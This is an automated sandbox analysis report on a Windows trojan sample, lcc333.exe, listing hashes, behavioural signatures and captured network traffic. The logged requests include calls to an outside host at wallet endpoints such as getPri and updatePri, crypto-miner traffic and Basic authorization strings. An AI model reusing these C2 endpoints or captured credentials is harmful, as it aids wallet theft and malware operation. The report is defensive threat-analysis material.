Windows Analysis Report
lcc333.exe

Overview

General Information

Sample name: lcc333.exe
Analysis ID: 1562222
MD5: a236cdec4dd41fb49c3b5afc64b6f878
SHA1: 0ab0f158a5034f2a21f387e5c57d3b2cf667c720
SHA256: 015338b4f158c874c7b2bb20e1bb8f465d5679037efe5a21ba2c06cb6dc07a4d
Tags: exemalwaretrojanuser-Joker
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

AI detected suspicious sample
Drops executables to the windows directory (C:\Windows) and starts them
PE file contains section with special chars
Uses known network protocols on non-standard ports
Uses the nircmd tool (NirSoft)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: PUA - NirCmd Execution
Uses taskkill to terminate processes
Yara detected NirCmd tool

Classification

AV Detection
barindex
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.5% probability
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49793 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49809 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49829 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49849 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49852 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49853 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49867 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49871 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49884 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49886 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49890 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49906 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49908 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49912 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49913 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49926 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49932 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49943 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49944 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49950 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49963 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49962 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49969 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49986 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49987 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50005 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50016 version: TLS 1.2
Source: lcc333.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: D:\a\1\b\bin\amd64\select.pdb source: lcc333.exe, 00000000.00000003.2111135941.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: lcc333.exe, 00000000.00000003.2111291391.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: lcc333.exe, 00000000.00000003.2105250934.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: _decimal.pyd.0.dr
Source: Binary string: c:\Projects\VS2005\NirCmd\x64\release\NirCmd.pdb source: nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: _decimal.pyd.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: lcc333.exe, 00000000.00000003.2105823533.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: lcc333.exe, 00000000.00000003.2104927615.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: lcc333.exe, 00000000.00000003.2104758993.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: lcc333.exe, 00000000.00000003.2104758993.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: lcc333.exe, 00000000.00000003.2105914516.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C89280 FindFirstFileExW,FindClose, 0_2_00007FF714C89280
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C883C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 0_2_00007FF714C883C0
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose, 0_2_00007FF714CA1874
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140002C80 strcpy,strrchr,FindFirstFileA,FindNextFileA,FindClose, 15_2_0000000140002C80
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140003B64 FindFirstFileA,FindNextFileA,FindClose,strlen,strlen, 15_2_0000000140003B64

Networking
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 50010 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 50011 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 50010
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 50011
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 43.199.41.35:8080
Source: global traffic TCP traffic: 192.168.2.5:49778 -> 20.2.154.66:48080
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /miner/rewards?pubkey=4ACz7dexqbAN71zD5WANZLKDYQuhz8D4j6pdkmyKQ91Q HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /miner/rewards?pubkey=7KD5XxiuTcgebvuXysq3sFXGS4A2UZTkANkpjuZJEPro HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529460 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: j+ijabsuJbfoanaXa6e/wg==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M0RVYkdDNGczaGMxYVZ5OEJ4ZXpHWWhEbzVwdDVkeDZRd0dERjZyZEN2eEptMUpkQWVWaUs4ZzlIQUJSRVZWdW1aeG5KVnlqbmJ2Ym1uWTlvcEhKRnJQaw==
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529460 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Pa7nbnXbg02FFMyV6RJt6A==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M2dKM1llU0szcnNQOUNoanltOW9xZXRhR2pZQzVQTEN3bzlnSEpDUEdIWlB1YkV0OHJ5dTZQMndjZE1CNUg1a054ZjRTSjV0aUpoQ25pNW1SNE5zVnB2Rw==
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529467 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: kjCthDRqmFKGgW61X8+gcg==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NW9CMW91MzRpU2R3M2tpaEdUV1BEVXFIMm9wR2tpN2FiWEFvenhoUjU0MXpoZkZDTURLclFObWhTTmE3QVFjQlZ3SEw4c3RncGd6UXdlaTFxSjZLZXNNcg==
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529467 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: DOpCmHC46XhQJiGoEF5WHA==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NWRQaXo3TERyeXZQVmVibVBWUzRmbURCRjE4QVV5cWJLMThQR2FLVXJ5emFRUnFaY2pwZTZmZTZYZkVCdTQ0cEdFOGVaZjVDQ0hDRFJwUjZmRkVpc0dnVg==
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529473 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: 06+qmnMtCAEE2s2ywxV3ug==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86Mm1UTXlqSjZxVTlncUthVXhZTWZtYlZ1eEJ4RjNOaFVBako5TVpYa2NhRldqTXRuTFVxUXJqb0I5VzhZdGp5QWlTS1R1b1VtaU5FMUtUUnhUNkM1WlY0Rg==
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529473 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: ACuOhDY8i4K7DEpUKBlvYw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M3lmRFRWNkZlY1ZzYVJhbnpTcGRQVFlWelF0ZEVvbUZUREhhbUx4V2o4UWF6TktvZGlaU1pab0JoSnNNdHVIbWlZU3dKWWZMaXh3TkhkR2E5NVo5NEdxUg==
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529480 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: uN1+11IrwDzGU8rnhMRxNQ==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M0ZVU2N6UjJndkt3OUZvZE1pbnJSWHd4YVI0THJVa2g1NjZOV2pSa0Z2ekM5a2VCVzhIOXBnR3FtcDhKcjhzQTVUclFCR0VFUXBjVFc2cDhCZUN5MktwSw==
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529480 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: H7m8aVRHdQaFbrlh0idjiA==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6Y29jZUpGRnJWM1dUUXJEQWtOSjlBclZoeGJ0WWtWN2pyd1RMU1ZxRTJ4anJCcmcxZDlQRGltblVmUERORVptQlFob0JGSlQzVENLNkhTWUxSU2tqTWtM
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529486 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: TBZMZ12pMHBBoC4mQVa+yA==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NHNzd2k1aHROd3hCQzRkTTlYbnNteXdrOFY1Uk10S2czMzRtbm94Uzc4Rnp6WXo4TWdZc3RpeFZqYVlrZzJFbkx5d3NyYzZYQlYyUkRWSnJ0anN0QUhnVQ==
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529486 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: nkGHFwCOnEgaFMiW/EcHhA==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6WGZhUXUzdExuQTFuNTdONUFaemdFSEdwY3F1Q0RlVkJudldBc3NaQUIyNFdkaGozMWh5Y3Rod3oyeERrOENCNE44TlkxU0dqeVBxbkg1VHVRRDR2eEdw
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529493 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Jcg0jM88I6kJ8E206drpQg==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NWpvR210UEtUMWtyOE1RQmlNWTl4UzQyNFpUZXRHZFlNQUprMkJ2Y0o1eTlITlRmVkJTZmV0Uk5aOTVkaFl3Zml0OWdlS3BMYkZBNmpuclExVHc2dEQ0Zg==
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529493 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: fNEZjZj4duZrRnwSm600NQ==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NTVUU1k0NU00TW9RMVlWa29KSENmM2plcnloS0JSOHZpcHNpcmpld2RSaFJFcmdXNkNhWXVBOUJSeHpnNTFaUnBKZEY2clFKZUxzZ2tlbWZmcUhuVUhT
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529500 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: KngXupv80UoejMuFIlqepg==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M1VpaUhnWmpFQjdNNjRmOFlta1lhSkRwVUFRNXgyR25uckFCUFJNcEtZZVBURWRlQjZ3WVVDS0QyQlJiMk5zRGdmU0s5M1RnWGNyZVdDZzhwRHcyd0Z3VA==
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529501 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: j6vtTw5Bu3zHrdEAvVh3Dw==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86YkNpZnM4YTJGOGdiNXNSendkN1JyaTJiWE5MZlllcUhzV0FQTWFyczZWWEVyUlV2cE51a1BGQ0JRbTM4eHVkWFNkNTFWS010SHYzcjRuQ3JBdEN0N3Vj
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529508 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: qRN+NG4Nxs/4uirJDFZciQ==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NHhZZFBiODlRbmpOSDY4WHZKWjhCTmVSY1JNNGQxd2I0UjYybkZ0TXFoa1VKN0xuV1Bad00xUW9EaTVINEdMV1doMkZEUXNyamNTYkJZWFBIdmY1R3FNWg==
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529508 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: X8Pr2Hwo0w5JM2/K0j4UOQ==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M3BuandoZUw2M1FEelliWmF6dENZQm1UUnV1cmJLUXpSdTc2djVCWWJtcjNUWW96MndVOG5XU3lkcHd2VUt2S0UyaHRCODJNRnVvTkFKU2JWcGpWdFJrbg==
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529514 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Ynt1PuqpG/6BQxTB/m8e8w==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NHViVDhjVmF1NWREaDhwaDJDMmpHV0FKS0p0VGk5Sm9vekxybzRQdVZIOFFvUHJaeWNFODFZZWE1cnZhb3RKVVpKdzlCNEV2ckZGdzNOUXpIQ0NNdW11Rg==
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529514 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Njx82qrHiA3W9ov4hAzCKw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NW1KWFBSRVR6YWdXaVFCOVVLakN4RVZnN3NBUllpbkdheG1RNUg1TUplY1g5aFg4TlhkV1JVd0NiMXdQZzJ5MUNtR3pTZEJUbkNqV3o1cGJwVGdlQW1TUQ==
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529521 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: 1GumYcukGPwro1eUNHrDMw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6MjZpaXdzUmF6Sm9oZmdMZHJ0UWZvR2IyekFCU1BhcER6V3pUNzlVVWY5RWF4YjV5TlJ5NnNMS3FkY21SUHV0UWJXbnVTNnlxSnBnWWFjelFUNEpRajNuZg==
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529521 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: qK3WihSrquxN35r2ZCS5Lw==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M3BtanFTc1ljSk1CZEFaYnN5dkc3bUpYZVlFVW1ucGtkczlQanJtdzdTeFJmemRRWGRCcGJOM1M4OXBncXhBTmlreW9Ycm02YVlINDRndEo5Q3p1WDRkZA==
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529527 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: 0dWhl/NTdbOrVDaVKZ/Hdw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6MkxWRGRZVThZUk1tUWpFMU1HSDZoVEw0ZXF1bjZUWTc2TXlFNWhXQlZqV2pGNlRrcHBLQm5BVVdvcXpCc21RZVdqakdjeHZURTRzYm9KOTNzeTNMMmNqMw==
Source: global traffic HTTP traffic detected: GET /v2/ws?timestamp=1732529528 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: SgbzhYTM+TLQu0KGeek80g==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86dHdEaDJCMTVjTGZkcmtldkVwRjRTb2pzdlcxam8yY3prb3Y1S0FVSFpEUmIySkJhZmFQelozZ3JMNFFaN1Q4QWFZN0gyWVhUZ3Z0RmsyVlBGb2NQUmZx
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /timestamp HTTP/1.1accept: */*host: ec1ipse.me
Source: global traffic HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: */*host: 20.2.154.66:48080
Source: global traffic HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: */*host: 20.2.154.66:48080
Source: global traffic HTTP traffic detected: GET /admin-api/ore/wallet/updatePri?pub=4ACz7dexqbAN71zD5WANZLKDYQuhz8D4j6pdkmyKQ91Q&bal=0.04496249757&first=true HTTP/1.1accept: */*host: 20.2.154.66:48080
Source: global traffic HTTP traffic detected: GET /admin-api/ore/wallet/updatePri?pub=7KD5XxiuTcgebvuXysq3sFXGS4A2UZTkANkpjuZJEPro&bal=0.04497911667&first=true HTTP/1.1accept: */*host: 20.2.154.66:48080
Source: global traffic HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: */*host: 20.2.154.66:48080
Source: global traffic HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: */*host: 20.2.154.66:48080
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown TCP traffic detected without corresponding DNS query: 43.199.41.35
